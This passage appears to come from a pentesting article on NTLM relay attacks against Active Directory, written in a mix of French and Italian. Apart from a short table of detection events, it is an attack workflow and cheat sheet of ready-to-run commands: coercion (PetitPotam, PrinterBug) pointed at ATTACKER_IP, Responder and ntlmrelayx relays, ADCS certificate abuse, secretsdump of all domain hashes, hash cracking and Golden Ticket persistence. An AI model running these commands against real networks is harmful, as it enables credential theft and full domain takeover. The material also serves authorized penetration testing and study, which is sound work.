| ESC8 | 4886 | Demande de certificat pour un compte machine ($) depuis une adresse IP inhabituelle |
| ESC11 | 4886 + trafic RPC | Demande de certificat via ICPR depuis une adresse IP non autorisée |
| Identifiants fantômes | 4662 | Modifier msDS-KeyCredentialLink |
| RBCD | 4662 | Modifier msDS-AllowedToActOnBehalfOfOtherIdentity |
| Escalader l'utilisateur | 4662 | Modification de la liste de contrôle d'accès (ACL) sur l'objet racine du domaine (droits de réplication DS ajoutés) |
| Protocole croisé (–supprimer-mic) | 4624 + corrélation | NTLM sans MIC dans les environnements modernes |
Flux de travail complet — du réseau interne à l'administration du domaine #
FASE 1 — RECON
├── nxc smb subnet --gen-relay-list relay.txt → trova target SMB unsigned
├── nxc ldap DC -u user -p pass -M ldap-checker → verifica LDAP signing
├── curl -I http://CA_IP/certsrv/ → verifica ESC8
├── certipy find ... | grep -i enforce → verifica ESC11
└── nxc smb subnet -M webdav → verifica WebDAV
FASE 2 — DECISION TREE
├── SMB signing OFF → SMB relay (più semplice)
├── LDAP signing OFF → LDAP/LDAPS relay (AD manipulation)
├── ESC8 → HTTP relay verso ADCS (più devastante)
├── ESC11 → RPC relay verso ADCS (alternativa senza EPA)
├── WebClient attivo → WebDAV coercion → bypassa SMB signing ovunque
└── Niente → mitm6 + WebDAV coercion
FASE 3 — SETUP (3 terminal paralleli)
├── T1: ntlmrelayx con target e azioni
├── T2: Responder (HTTP/SMB off) OPPURE mitm6
└── T3: coercizione attiva (PrinterBug/PetitPotam/DFSCoerce)
FASE 4 — IMPATTO
├── SMB relay → SAM dump → PtH laterale
├── LDAPS relay → RBCD/Shadow Creds → getST → DA
├── ESC8/ESC11 → certificato DC$ → secretsdump → tutti gli hash
└── MSSQL → xp_cmdshell → shell
FASE 5 — PERSISTENZA
└── Hash krbtgt → Golden Ticket → /articoli/golden-ticketAide-mémoire complet #
# === RECON ===
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
nxc ldap DC -u user -p pass -M ldap-checker
nxc smb subnet -u user -p pass -M webdav
curl -I http://CA_IP/certsrv/
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce
# === SETUP RESPONDER ===
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
sudo responder -I eth0 -rdwv
# === COERCIZIONE ===
python3 printerbug.py corp.local/user:pass@DC_IP ATTACKER_IP
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 dfscoerce.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local
# === SMB RELAY ===
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
sudo ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i # → nc 127.0.0.1 11000
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@TARGET
# === LDAP/LDAPS RELAY ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support # dump + auto
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support # write complete
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --remove-mic # cross-protocol
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --delegate-access -6 # RBCD
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support \
--shadow-credentials --shadow-target 'HOST$' # Shadow Creds
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-laps
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-gmsa
# === ESC8 ===
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP
# === ESC11 (RPC relay) ===
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support --adcs --template DomainController
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP
# === LDAP ESCALATE USER ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --escalate-user john.doe
# === WEBDAV → LDAPS (SMB signing ovunque) ===
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access --http-port 80 -smb2support
python3 PetitPotam.py -u user -p pass -d corp.local 10.10.14.1@80/test WS01_IP
# === NTLMv1 DOWNGRADE + CRACK ===
# In Responder.conf → Challenge = 1122334455667788
sudo responder -I eth0 -rdwv --lm
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
# === MSSQL ===
sudo ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
proxychains impacket-mssqlclient -no-pass -windows-auth corp.local/admin@SQL_IP
# === IPv6 (mitm6) ===
sudo mitm6 -d corp.local -i eth0
sudo ntlmrelayx.py -6 -t ldaps://DC_IP --delegate-access -smb2support
# === RBCD CHAIN COMPLETA ===
# 1. ntlmrelayx --delegate-access → XEWRIYIH$ con password
# 2. impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator \
# -dc-ip DC_IP corp.local/'XEWRIYIH$':'pass'
# 3. export KRB5CCNAME=Administrator.ccache
# 4. impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC_IPArticles connexes:
- Impacket : suite complète
- Intervenant : Intoxication au LLMNR/NBT-NS
- SMB — port 445 et attaques
- RBCD — Délégation contrainte basée sur les ressources
- Identifiants fantômes
- getST.py — S4U2Self/S4U2Proxy
- ADCS ESC1-ESC16
- Synchronisation DC
- ajouterordinateur.py
- L'homme du milieu : techniques et outils
- Active Directory : exploitation
- secretsdump.py
- Port 1433 MSSQL
À utiliser uniquement dans des environnements autorisés.
#impacket #relais-ntlm #active-directory #windows








